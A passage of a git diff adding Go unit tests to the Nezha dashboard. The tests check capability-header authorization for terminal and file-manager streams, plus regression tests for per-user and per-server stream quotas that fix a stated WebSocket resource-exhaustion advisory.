responseStream}), rpc.ErrAgentCompatCapabilityHidden) + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(access)) + require.NoError(t, handler.CloseStream(responseStream)) + }) + } +} + +func TestCreateAgentcompatSendFailureReleasesExactPATBoundaryForTerminalAndFM(t *testing.T) { + for _, testCase := range []struct { + name string + purpose rpc.AgentCompatCapabilityPurpose + target string + body any + }{ + {name: "terminal", purpose: rpc.AgentCompatCapabilityTerminal, target: "/terminal", body: model.TerminalForm{ServerID: 7}}, + {name: "file manager", purpose: rpc.AgentCompatCapabilityFileManager, target: "/file?id=7"}, + } { + t.Run(testCase.name, func(t *testing.T) { + handler, token, request := newAgentcompatCreateFixture(t, "POST", testCase.target, testCase.body, testCase.purpose) + failed := registerAgentcompatForCreate(t, handler, token, testCase.purpose) + request.Request.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, failed) + server, ok := singleton.ServerShared.Get(7) + require.True(t, ok) + server.SetTaskStream(&agentcompatTaskProbe{test: t, sendErr: errors.New("dispatch failed")}) + if testCase.purpose == rpc.AgentCompatCapabilityTerminal { + _, err := createTerminal(request) + require.Error(t, err) + } else { + _, err := createFM(request) + require.Error(t, err) + } + capabilities := make([]string, 0, 16) + for range 16 { + capabilities = append(capabilities, registerAgentcompatForCreate(t, handler, token, testCase.purpose)) + } + _, err := handler.RegisterAgentCompatIOStreamCapability(context.Background(), rpc.AgentCompatCapabilityRegistration{Owner: rpc.AgentCompatCapabilityOwner{PATID: token.ID, UserID: token.UserID}, Purpose: testCase.purpose, TargetServerID: 7, ServerAccessAllowed: true}) + require.ErrorIs(t, err, rpc.ErrAgentCompatCapabilityUnavailable) + for _, raw := range capabilities { + access := agentcompatAccessForCreate(t, handler, token, testCase.purpose, raw) + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(access)) + } + }) + } +} + +func TestCreateAgentcompatResponseLossWaitCancelForTerminalAndFM(t *testing.T) { + for _, testCase := range []struct { + name string + purpose rpc.AgentCompatCapabilityPurpose + target string + body any + }{ + {name: "terminal", purpose: rpc.AgentCompatCapabilityTerminal, target: "/terminal", body: model.TerminalForm{ServerID: 7}}, + {name: "file manager", purpose: rpc.AgentCompatCapabilityFileManager, target: "/file?id=7"}, + } { + t.Run(testCase.name, func(t *testing.T) { + handler, token, request := newAgentcompatCreateFixture(t, "POST", testCase.target, testCase.body, testCase.purpose) + capability := registerAgentcompatForCreate(t, handler, token, testCase.purpose) + request.Request.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, capability) + probe := &agentcompatTaskProbe{test: t} + server, ok := singleton.ServerShared.Get(7) + require.True(t, ok) + server.SetTaskStream(probe) + var streamID string + if testCase.purpose == rpc.AgentCompatCapabilityTerminal { + response, err := createTerminal(request) + require.NoError(t, err) + streamID = response.SessionID + } else { + response, err := createFM(request) + require.NoError(t, err) + streamID = response.SessionID + } + access := agentcompatAccessForCreate(t, handler, token, testCase.purpose, capability) + waited, err := handler.WaitAgentCompatIOStreamCapability(context.Background(), access) + require.NoError(t, err) + require.Equal(t, streamID, waited) + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(access)) + require.Equal(t, 0, handler.StreamCount()) + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(access)) + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(access)) + }) + } +} diff --git a/cmd/dashboard/controller/terminal_fm_agentcompat_default.go b/cmd/dashboard/controller/terminal_fm_agentcompat_default.go new file mode 100644 index 00000000..8d424609 --- /dev/null +++ b/cmd/dashboard/controller/terminal_fm_agentcompat_default.go @@ -0,0 +1,18 @@ +//go:build !agentcompat + +package controller + +import ( + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/service/rpc" +) + +func prepareAgentcompatCapabilityHeader(*gin.Context) {} + +func createIOStreamWithAgentcompatCapability(_ *gin.Context, streamID string, creatorUserID, serverID uint64, _ rpc.AgentCompatCapabilityPurpose) (func(), error) { + if err := rpc.NezhaHandlerSingleton.CreateStream(streamID, creatorUserID, serverID); err != nil { + return nil, err + } + return func() { _ = rpc.NezhaHandlerSingleton.CloseStream(streamID) }, nil +} diff --git a/cmd/dashboard/controller/terminal_fm_agentcompat_default_test.go b/cmd/dashboard/controller/terminal_fm_agentcompat_default_test.go new file mode 100644 index 00000000..c1257a10 --- /dev/null +++ b/cmd/dashboard/controller/terminal_fm_agentcompat_default_test.go @@ -0,0 +1,69 @@ +//go:build !agentcompat + +package controller + +import ( + "errors" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/agentcompatcontract" + "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" +) + +func TestDefaultCreateTerminalPreservesCapabilityHeaderAndLegacyDispatch(t *testing.T) { + // Given + handler, _, request := newDefaultCreateFixture(t, "POST", "/terminal", model.TerminalForm{ServerID: 7}) + request.Request.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, "malformed") + server, ok := singleton.ServerShared.Get(7) + require.True(t, ok) + stream := &failingRequestTaskStream{err: errors.New("stop after dispatch")} + server.SetTaskStream(stream) + + // When + _, err := createTerminal(request) + + // Then + require.ErrorIs(t, err, stream.err) + require.Equal(t, "malformed", request.Request.Header.Get(agentcompatcontract.IOStreamCapabilityHeader)) + require.Equal(t, 1, stream.calls()) + require.Equal(t, 0, handler.StreamCount()) +} + +func TestDefaultCreateFMPreservesCapabilityHeaderAndLegacyDispatch(t *testing.T) { + // Given + handler, _, request := newDefaultCreateFixture(t, "POST", "/file?id=7", nil) + request.Request.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, "malformed") + server, ok := singleton.ServerShared.Get(7) + require.True(t, ok) + stream := &failingRequestTaskStream{err: errors.New("stop after dispatch")} + server.SetTaskStream(stream) + + // When + _, err := createFM(request) + + // Then + require.ErrorIs(t, err, stream.err) + require.Equal(t, "malformed", request.Request.Header.Get(agentcompatcontract.IOStreamCapabilityHeader)) + require.Equal(t, 1, stream.calls()) + require.Equal(t, 0, handler.StreamCount()) +} + +func newDefaultCreateFixture(t *testing.T, method, target string, body any) (*rpc.NezhaHandler, *model.APIToken, *gin.Context) { + t.Helper() + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + handler := rpc.NewNezhaHandler() + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = handler + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + token, _ := mkToken(t, userID, []string{model.ScopeServerRead}, nil) + request := newAuthorizedControllerContext(t, method, target, body) + request.Set(apiTokenCtxKey, token) + request.Set(model.CtxKeyAPIToken, token) + return handler, token, request +} diff --git a/cmd/dashboard/controller/terminal_fm_agentcompat_rejection_test.go b/cmd/dashboard/controller/terminal_fm_agentcompat_rejection_test.go new file mode 100644 index 00000000..323f33b1 --- /dev/null +++ b/cmd/dashboard/controller/terminal_fm_agentcompat_rejection_test.go @@ -0,0 +1,101 @@ +//go:build agentcompat + +package controller + +import ( + "testing" + + "github.com/gin-gonic/gin" + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/agentcompatcontract" + "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" + "github.com/stretchr/testify/require" +) + +func TestCreateIOStreamAgentcompatRejectsAdversarialHeadersSymmetrically(t *testing.T) { + cases := []struct { + name string + configure func(*testing.T, *rpc.NezhaHandler, *model.APIToken, *gin.Context, string) + purpose rpc.AgentCompatCapabilityPurpose + request string + wantHeader bool + }{ + {name: "malformed terminal", purpose: rpc.AgentCompatCapabilityTerminal, request: "bad"}, + {name: "empty terminal", purpose: rpc.AgentCompatCapabilityTerminal, request: ""}, + {name: "duplicate terminal", purpose: rpc.AgentCompatCapabilityTerminal, request: "duplicate"}, + {name: "jwt only terminal", purpose: rpc.AgentCompatCapabilityTerminal, request: "jwt"}, + {name: "foreign pat terminal", purpose: rpc.AgentCompatCapabilityTerminal, request: "foreign"}, + {name: "whitelist terminal", purpose: rpc.AgentCompatCapabilityTerminal, request: "whitelist"}, + {name: "malformed file manager", purpose: rpc.AgentCompatCapabilityFileManager, request: "bad"}, + {name: "empty file manager", purpose: rpc.AgentCompatCapabilityFileManager, request: ""}, + {name: "duplicate file manager", purpose: rpc.AgentCompatCapabilityFileManager, request: "duplicate"}, + {name: "jwt only file manager", purpose: rpc.AgentCompatCapabilityFileManager, request: "jwt"}, + {name: "foreign pat file manager", purpose: rpc.AgentCompatCapabilityFileManager, request: "foreign"}, + {name: "whitelist file manager", purpose: rpc.AgentCompatCapabilityFileManager, request: "whitelist"}, + } + for _, testCase := range cases { + t.Run(testCase.name, func(t *testing.T) { + // Given + handler, token, request := newAgentcompatCreateFixture(t, "POST", createAgentcompatTarget(testCase.purpose), createAgentcompatBody(testCase.purpose), testCase.purpose) + capability := registerAgentcompatForCreate(t, handler, token, testCase.purpose) + request.Request.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, capability) + if testCase.request == "duplicate" { + request.Request.Header.Add(agentcompatcontract.IOStreamCapabilityHeader, capability) + } + if testCase.request == "bad" || testCase.request == "" { + request.Request.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, testCase.request) + } + if testCase.request == "jwt" { + request.Set(apiTokenCtxKey, nil) + request.Set(model.CtxKeyAPIToken, nil) + } + if testCase.request == "foreign" { + foreign, _ := mkDistinctCapabilityToken(t, token.UserID, testCase.name) + request.Set(apiTokenCtxKey, foreign) + request.Set(model.CtxKeyAPIToken, foreign) + } + if testCase.request == "whitelist" { + token.SetServerIDs([]uint64{99}) + require.NoError(t, singleton.DB.Model(token).Update("servers_csv", token.ServersCSV).Error) + } + if testCase.configure != nil { + testCase.configure(t, handler, token, request, capability) + } + server, ok := singleton.ServerShared.Get(7) + require.True(t, ok) + probe := &agentcompatTaskProbe{test: t} + server.SetTaskStream(probe) + + // When + var err error + if testCase.purpose == rpc.AgentCompatCapabilityTerminal { + _, err = createTerminal(request) + } else { + _, err = createFM(request) + } + + // Then + require.Error(t, err) + require.Equal(t, 0, probe.calls()) + require.Equal(t, 0, handler.StreamCount()) + require.Empty(t, request.Request.Header.Values(agentcompatcontract.IOStreamCapabilityHeader)) + ownerAccess := agentcompatAccessForCreate(t, handler, token, testCase.purpose, capability) + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(ownerAccess)) + }) + } +} + +func createAgentcompatTarget(purpose rpc.AgentCompatCapabilityPurpose) string { + if purpose == rpc.AgentCompatCapabilityTerminal { + return "/terminal" + } + return "/file?id=7" +} + +func createAgentcompatBody(purpose rpc.AgentCompatCapabilityPurpose) any { + if purpose == rpc.AgentCompatCapabilityTerminal { + return model.TerminalForm{ServerID: 7} + } + return nil +} diff --git a/cmd/dashboard/controller/terminal_fm_agentcompat_test.go b/cmd/dashboard/controller/terminal_fm_agentcompat_test.go new file mode 100644 index 00000000..b2a2bc48 --- /dev/null +++ b/cmd/dashboard/controller/terminal_fm_agentcompat_test.go @@ -0,0 +1,213 @@ +//go:build agentcompat + +package controller + +import ( + "context" + "encoding/json" + "errors" + "sync" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/agentcompatcontract" + pb "github.com/nezhahq/nezha/proto" + "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" +) + +type agentcompatTaskProbe struct { + pb.NezhaService_RequestTaskServer + mu sync.Mutex + test *testing.T + check func(*testing.T) + sendErr error + sendCall int + task *pb.Task +} + +func (probe *agentcompatTaskProbe) Send(task *pb.Task) error { + probe.mu.Lock() + probe.sendCall++ + probe.task = task + check := probe.check + err := probe.sendErr + probe.mu.Unlock() + if check != nil { + check(probe.test) + } + return err +} + +func (probe *agentcompatTaskProbe) calls() int { + probe.mu.Lock() + defer probe.mu.Unlock() + return probe.sendCall +} + +func (probe *agentcompatTaskProbe) Context() context.Context { return context.Background() } + +func TestCreateTerminalAgentcompatBindsBeforeDispatchAndRemovesHeader(t *testing.T) { + // Given + handler, token, request := newAgentcompatCreateFixture(t, "POST", "/terminal", model.TerminalForm{ServerID: 7}, rpc.AgentCompatCapabilityTerminal) + capability := registerAgentcompatForCreate(t, handler, token, rpc.AgentCompatCapabilityTerminal) + request.Request.Header.Add(agentcompatcontract.IOStreamCapabilityHeader, capability) + var waited string + probe := &agentcompatTaskProbe{test: t} + probe.check = func(t *testing.T) { + access := agentcompatAccessForCreate(t, handler, token, rpc.AgentCompatCapabilityTerminal, capability) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + streamID, err := handler.WaitAgentCompatIOStreamCapability(ctx, access) + require.NoError(t, err) + waited = streamID + } + server, ok := singleton.ServerShared.Get(7) + require.True(t, ok) + server.SetTaskStream(probe) + + // When + response, err := createTerminal(request) + + // Then + require.NoError(t, err) + require.Equal(t, response.SessionID, waited) + require.Empty(t, request.Request.Header.Values(agentcompatcontract.IOStreamCapabilityHeader)) + access := agentcompatAccessForCreate(t, handler, token, rpc.AgentCompatCapabilityTerminal, capability) + _, waitErr := handler.WaitAgentCompatIOStreamCapability(context.Background(), access) + require.NoError(t, waitErr) + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(access)) + require.Equal(t, 0, handler.StreamCount()) +} + +func TestCreateFMAgentcompatRejectsTerminalCapabilityWithoutDispatch(t *testing.T) { + // Given + handler, token, request := newAgentcompatCreateFixture(t, "POST", "/file?id=7", nil, rpc.AgentCompatCapabilityFileManager) + capability := registerAgentcompatForCreate(t, handler, token, rpc.AgentCompatCapabilityTerminal) + request.Request.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, capability) + probe := &agentcompatTaskProbe{test: t} + server, ok := singleton.ServerShared.Get(7) + require.True(t, ok) + server.SetTaskStream(probe) + + // When + response, err := createFM(request) + + // Then + require.Error(t, err) + require.Nil(t, response) + require.Equal(t, 0, probe.sendCall) + require.Equal(t, 0, handler.StreamCount()) +} + +func TestCreateTerminalAgentcompatRejectsFileManagerCapabilityWithoutDispatch(t *testing.T) { + // Given + handler, token, request := newAgentcompatCreateFixture(t, "POST", "/terminal", model.TerminalForm{ServerID: 7}, rpc.AgentCompatCapabilityTerminal) + capability := registerAgentcompatForCreate(t, handler, token, rpc.AgentCompatCapabilityFileManager) + request.Request.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, capability) + probe := &agentcompatTaskProbe{test: t} + server, ok := singleton.ServerShared.Get(7) + require.True(t, ok) + server.SetTaskStream(probe) + + // When + response, err := createTerminal(request) + + // Then + require.Error(t, err) + require.Nil(t, response) + require.Equal(t, 0, probe.calls()) + require.Equal(t, 0, handler.StreamCount()) + access := agentcompatAccessForCreate(t, handler, token, rpc.AgentCompatCapabilityFileManager, capability) + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(access)) +} + +func TestCreateFMAgentcompatBindsBeforeDispatchWithExactTaskStreamID(t *testing.T) { + // Given + handler, token, request := newAgentcompatCreateFixture(t, "POST", "/file?id=7", nil, rpc.AgentCompatCapabilityFileManager) + capability := registerAgentcompatForCreate(t, handler, token, rpc.AgentCompatCapabilityFileManager) + request.Request.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, capability) + probe := &agentcompatTaskProbe{test: t} + probe.check = func(t *testing.T) { + access := agentcompatAccessForCreate(t, handler, token, rpc.AgentCompatCapabilityFileManager, capability) + streamID, err := handler.WaitAgentCompatIOStreamCapability(context.Background(), access) + require.NoError(t, err) + require.NotEmpty(t, streamID) + } + server, ok := singleton.ServerShared.Get(7) + require.True(t, ok) + server.SetTaskStream(probe) + + // When + response, err := createFM(request) + + // Then + require.NoError(t, err) + require.Equal(t, 1, probe.calls()) + require.NotNil(t, probe.task) + require.Equal(t, uint64(model.TaskTypeFM), probe.task.Type) + var task model.TaskFM + require.NoError(t, json.Unmarshal([]byte(probe.task.Data), &task)) + require.Equal(t, response.SessionID, task.StreamID) + require.Empty(t, request.Request.Header.Values(agentcompatcontract.IOStreamCapabilityHeader)) + access := agentcompatAccessForCreate(t, handler, token, rpc.AgentCompatCapabilityFileManager, capability) + waited, err := handler.WaitAgentCompatIOStreamCapability(context.Background(), access) + require.NoError(t, err) + require.Equal(t, response.SessionID, waited) + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(access)) +} + +func TestCreateTerminalAgentcompatSendFailureReleasesCapabilityAndStream(t *testing.T) { + // Given + handler, token, request := newAgentcompatCreateFixture(t, "POST", "/terminal", model.TerminalForm{ServerID: 7}, rpc.AgentCompatCapabilityTerminal) + capability := registerAgentcompatForCreate(t, handler, token, rpc.AgentCompatCapabilityTerminal) + request.Request.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, capability) + server, ok := singleton.ServerShared.Get(7) + require.True(t, ok) + server.SetTaskStream(&agentcompatTaskProbe{test: t, sendErr: errors.New("dispatch failed")}) + + // When + response, err := createTerminal(request) + + // Then + require.Error(t, err) + require.Nil(t, response) + require.Equal(t, 0, handler.StreamCount()) + access := agentcompatAccessForCreate(t, handler, token, rpc.AgentCompatCapabilityTerminal, capability) + _, waitErr := handler.WaitAgentCompatIOStreamCapability(context.Background(), access) + require.Error(t, waitErr) +} + +func newAgentcompatCreateFixture(t *testing.T, method, target string, body any, _ rpc.AgentCompatCapabilityPurpose) (*rpc.NezhaHandler, *model.APIToken, *gin.Context) { + t.Helper() + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + handler := rpc.NewNezhaHandler() + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = handler + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + token, _ := mkToken(t, userID, []string{model.ScopeServerRead}, nil) + request := newAuthorizedControllerContext(t, method, target, body) + request.Set(apiTokenCtxKey, token) + request.Set(model.CtxKeyAPIToken, token) + return handler, token, request +} + +func registerAgentcompatForCreate(t *testing.T, handler *rpc.NezhaHandler, token *model.APIToken, purpose rpc.AgentCompatCapabilityPurpose) string { + t.Helper() + capability, err := handler.RegisterAgentCompatIOStreamCapability(context.Background(), rpc.AgentCompatCapabilityRegistration{ + Owner: rpc.AgentCompatCapabilityOwner{PATID: token.ID, UserID: token.UserID}, Purpose: purpose, TargetServerID: 7, ServerAccessAllowed: true, + }) + require.NoError(t, err) + return capability.String() +} + +func agentcompatAccessForCreate(t *testing.T, handler *rpc.NezhaHandler, token *model.APIToken, purpose rpc.AgentCompatCapabilityPurpose, raw string) rpc.AgentCompatCapabilityAccess { + t.Helper() + capability, err := rpc.ParseAgentCompatIOStreamCapability(raw) + require.NoError(t, err) + return rpc.AgentCompatCapabilityAccess{Capability: capability, Owner: rpc.AgentCompatCapabilityOwner{PATID: token.ID, UserID: token.UserID}, Purpose: purpose, TargetServerID: 7, ServerAccessAllowed: true} +} diff --git a/cmd/dashboard/controller/terminal_fm_agentcompat_wrong_purpose_test.go b/cmd/dashboard/controller/terminal_fm_agentcompat_wrong_purpose_test.go new file mode 100644 index 00000000..363a5ed5 --- /dev/null +++ b/cmd/dashboard/controller/terminal_fm_agentcompat_wrong_purpose_test.go @@ -0,0 +1,92 @@ +//go:build agentcompat + +package controller + +import ( + "context" + "encoding/json" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/agentcompatcontract" + "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" +) + +func TestCreateFMWrongRoutePreservesTerminalCapability(t *testing.T) { + // Given + handler, token, wrongRequest := newAgentcompatCreateFixture(t, "POST", "/file?id=7", nil, rpc.AgentCompatCapabilityFileManager) + capability := registerAgentcompatForCreate(t, handler, token, rpc.AgentCompatCapabilityTerminal) + wrongRequest.Request.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, capability) + probe := &agentcompatTaskProbe{test: t} + server, ok := singleton.ServerShared.Get(7) + require.True(t, ok) + server.SetTaskStream(probe) + + // When + response, err := createFM(wrongRequest) + + // Then + require.Error(t, err) + require.Nil(t, response) + require.Empty(t, wrongRequest.Request.Header.Values(agentcompatcontract.IOStreamCapabilityHeader)) + require.Equal(t, 0, probe.calls()) + require.Equal(t, 0, handler.StreamCount()) + + correctRequest := newAuthorizedControllerContext(t, "POST", "/terminal", model.TerminalForm{ServerID: 7}) + correctRequest.Set(apiTokenCtxKey, token) + correctRequest.Set(model.CtxKeyAPIToken, token) + correctRequest.Request.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, capability) + terminalResponse, err := createTerminal(correctRequest) + require.NoError(t, err) + require.Equal(t, 1, probe.calls()) + var task model.TerminalTask + require.NoError(t, json.Unmarshal([]byte(probe.task.Data), &task)) + require.Equal(t, terminalResponse.SessionID, task.StreamID) + access := agentcompatAccessForCreate(t, handler, token, rpc.AgentCompatCapabilityTerminal, capability) + waited, err := handler.WaitAgentCompatIOStreamCapability(context.Background(), access) + require.NoError(t, err) + require.Equal(t, terminalResponse.SessionID, waited) + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(access)) + require.Equal(t, 0, handler.StreamCount()) +} + +func TestCreateTerminalWrongRoutePreservesFileManagerCapability(t *testing.T) { + // Given + handler, token, wrongRequest := newAgentcompatCreateFixture(t, "POST", "/terminal", model.TerminalForm{ServerID: 7}, rpc.AgentCompatCapabilityTerminal) + capability := registerAgentcompatForCreate(t, handler, token, rpc.AgentCompatCapabilityFileManager) + wrongRequest.Request.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, capability) + probe := &agentcompatTaskProbe{test: t} + server, ok := singleton.ServerShared.Get(7) + require.True(t, ok) + server.SetTaskStream(probe) + + // When + response, err := createTerminal(wrongRequest) + + // Then + require.Error(t, err) + require.Nil(t, response) + require.Empty(t, wrongRequest.Request.Header.Values(agentcompatcontract.IOStreamCapabilityHeader)) + require.Equal(t, 0, probe.calls()) + require.Equal(t, 0, handler.StreamCount()) + + correctRequest := newAuthorizedControllerContext(t, "POST", "/file?id=7", nil) + correctRequest.Set(apiTokenCtxKey, token) + correctRequest.Set(model.CtxKeyAPIToken, token) + correctRequest.Request.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, capability) + fmResponse, err := createFM(correctRequest) + require.NoError(t, err) + require.Equal(t, 1, probe.calls()) + var task model.TaskFM + require.NoError(t, json.Unmarshal([]byte(probe.task.Data), &task)) + require.Equal(t, fmResponse.SessionID, task.StreamID) + access := agentcompatAccessForCreate(t, handler, token, rpc.AgentCompatCapabilityFileManager, capability) + waited, err := handler.WaitAgentCompatIOStreamCapability(context.Background(), access) + require.NoError(t, err) + require.Equal(t, fmResponse.SessionID, waited) + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(access)) + require.Equal(t, 0, handler.StreamCount()) +} diff --git a/cmd/dashboard/controller/terminal_fm_lifecycle_test.go b/cmd/dashboard/controller/terminal_fm_lifecycle_test.go new file mode 100644 index 00000000..13eddd68 --- /dev/null +++ b/cmd/dashboard/controller/terminal_fm_lifecycle_test.go @@ -0,0 +1,122 @@ +package controller + +import ( + "bytes" + "context" + "encoding/json" + "errors" + "net/http/httptest" + "sync" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + "google.golang.org/grpc/metadata" + + "github.com/nezhahq/nezha/model" + pb "github.com/nezhahq/nezha/proto" + "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" +) + +type failingRequestTaskStream struct { + pb.NezhaService_RequestTaskServer + mu sync.Mutex + sendCalls int + err error +} + +func (stream *failingRequestTaskStream) Send(*pb.Task) error { + stream.mu.Lock() + defer stream.mu.Unlock() + stream.sendCalls++ + return stream.err +} + +func (stream *failingRequestTaskStream) calls() int { + stream.mu.Lock() + defer stream.mu.Unlock() + return stream.sendCalls +} + +func (stream *failingRequestTaskStream) Context() context.Context { return context.Background() } +func (stream *failingRequestTaskStream) SetHeader(metadata.MD) error { return nil } +func (stream *failingRequestTaskStream) SendHeader(metadata.MD) error { return nil } +func (stream *failingRequestTaskStream) SetTrailer(metadata.MD) {} +func (stream *failingRequestTaskStream) SendMsg(any) error { return nil } +func (stream *failingRequestTaskStream) RecvMsg(any) error { return nil } + +func newAuthorizedControllerContext(t *testing.T, method, target string, body any) *gin.Context { + t.Helper() + gin.SetMode(gin.TestMode) + recorder := httptest.NewRecorder() + context, _ := gin.CreateTestContext(recorder) + encoded, err := json.Marshal(body) + require.NoError(t, err) + context.Request = httptest.NewRequest(method, target, bytes.NewReader(encoded)) + context.Request.Header.Set("Content-Type", "application/json") + context.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: 100}, Role: model.RoleMember}) + return context +} + +func TestCreateTerminalReturnsSendErrorAndReleasesStreamCapacity(t *testing.T) { + cleanupFixture, _ := setupMCPTest(t) + defer cleanupFixture() + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + + sendError := errors.New("terminal task send failed") + stream := &failingRequestTaskStream{err: sendError} + server, ok := singleton.ServerShared.Get(7) + require.True(t, ok) + server.SetTaskStream(stream) + + request := newAuthorizedControllerContext(t, "POST", "/terminal", model.TerminalForm{ServerID: 7}) + response, err := createTerminal(request) + require.ErrorIs(t, err, sendError) + require.Nil(t, response) + require.Equal(t, 1, stream.calls()) + assertStreamCapacityReusable(t, rpc.NezhaHandlerSingleton, 100, 7, "terminal-reused") +} + +func TestCreateFMReturnsSendErrorAndReleasesStreamCapacity(t *testing.T) { + cleanupFixture, _ := setupMCPTest(t) + defer cleanupFixture() + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + + sendError := errors.New("FM task send failed") + stream := &failingRequestTaskStream{err: sendError} + server, ok := singleton.ServerShared.Get(7) + require.True(t, ok) + server.SetTaskStream(stream) + + request := newAuthorizedControllerContext(t, "POST", "/file?id=7", nil) + response, err := createFM(request) + require.ErrorIs(t, err, sendError) + require.Nil(t, response) + require.Equal(t, 1, stream.calls()) + assertStreamCapacityReusable(t, rpc.NezhaHandlerSingleton, 100, 7, "fm-reused") +} + +func assertStreamCapacityReusable(t *testing.T, handler *rpc.NezhaHandler, userID, serverID uint64, streamID string) { + t.Helper() + _, tracked := handler.StreamOwnership(streamID) + require.False(t, tracked, "failed task dispatch must not leave the replacement stream tracked") + for index := 0; index < 20; index++ { + require.NoError(t, handler.CreateStream(streamID+"-user-"+ctoa(uint64(index)), userID, serverID+uint64(index))) + } + require.ErrorIs(t, handler.CreateStream(streamID+"-user-over", userID, serverID+100), rpc.ErrTooManyStreamsForUser) + for index := 0; index < 20; index++ { + require.NoError(t, handler.CloseStream(streamID+"-user-"+ctoa(uint64(index)))) + } + for index := 0; index < 40; index++ { + require.NoError(t, handler.CreateStream(streamID+"-server-"+ctoa(uint64(index)), userID+uint64(index)+1000, serverID+1000)) + } + require.ErrorIs(t, handler.CreateStream(streamID+"-server-over", userID+1000, serverID+1000), rpc.ErrTooManyStreamsForServer) + for index := 0; index < 40; index++ { + require.NoError(t, handler.CloseStream(streamID+"-server-"+ctoa(uint64(index)))) + } +} diff --git a/cmd/dashboard/controller/terminal_fm_quota_test.go b/cmd/dashboard/controller/terminal_fm_quota_test.go new file mode 100644 index 00000000..5fea2a3f --- /dev/null +++ b/cmd/dashboard/controller/terminal_fm_quota_test.go @@ -0,0 +1,142 @@ +package controller + +// TDD regression tests for GHSA-jg62-j5h6-8mpq (CVE-2026-53522): +// Unbounded WebSocket Streams — Resource Exhaustion DoS. +// +// The vulnerability: POST /api/v1/terminal and POST /api/v1/file insert a new +// context into an unbounded map with no per-user rate limit, global semaphore, +// or per-server connection cap, letting any authenticated user exhaust server +// resources until the dashboard crashes. +// +// The fix: createStreamLocked enforces maxStreamsPerUser (20) and +// maxStreamsPerServer (40). These tests verify the fix is effective end-to-end +// through the HTTP controller handlers, not just at the rpc layer. + +import ( + "errors" + "fmt" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" +) + +const ( + // Must match rpc.maxStreamsPerUser so the test fills exactly the right cap. + quotaTestUserCap = 20 + // Must match rpc.maxStreamsPerServer. + quotaTestServerCap = 40 +) + +// setupQuotaTest initialises the shared fixtures used by all quota tests: +// a fresh NezhaHandler, a server (ID 7) owned by the test user (ID 100), +// and a task stream that succeeds so that created streams stay in the registry. +func setupQuotaTest(t *testing.T) (cleanup func(), successStream *failingRequestTaskStream) { + t.Helper() + cleanupFixture, _ := setupMCPTest(t) + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + successStream = &failingRequestTaskStream{err: nil} + server, ok := singleton.ServerShared.Get(7) + require.True(t, ok) + server.SetTaskStream(successStream) + return func() { + rpc.NezhaHandlerSingleton = originalHandler + cleanupFixture() + }, successStream +} + +// TestCreateTerminalEnforcesPerUserStreamQuota verifies that once a user has +// reached the per-user stream cap, subsequent createTerminal calls are rejected +// with ErrTooManyStreamsForUser. This directly tests the GHSA-jg62-j5h6-8mpq +// fix at the HTTP handler layer. +func TestCreateTerminalEnforcesPerUserStreamQuota(t *testing.T) { + cleanup, _ := setupQuotaTest(t) + defer cleanup() + + // Fill the per-user quota. + for i := 0; i < quotaTestUserCap; i++ { + req := newAuthorizedControllerContext(t, "POST", "/terminal", model.TerminalForm{ServerID: 7}) + _, err := createTerminal(req) + require.NoError(t, err, "terminal %d must succeed within per-user quota", i+1) + } + + // The (quotaTestUserCap+1)-th call must be 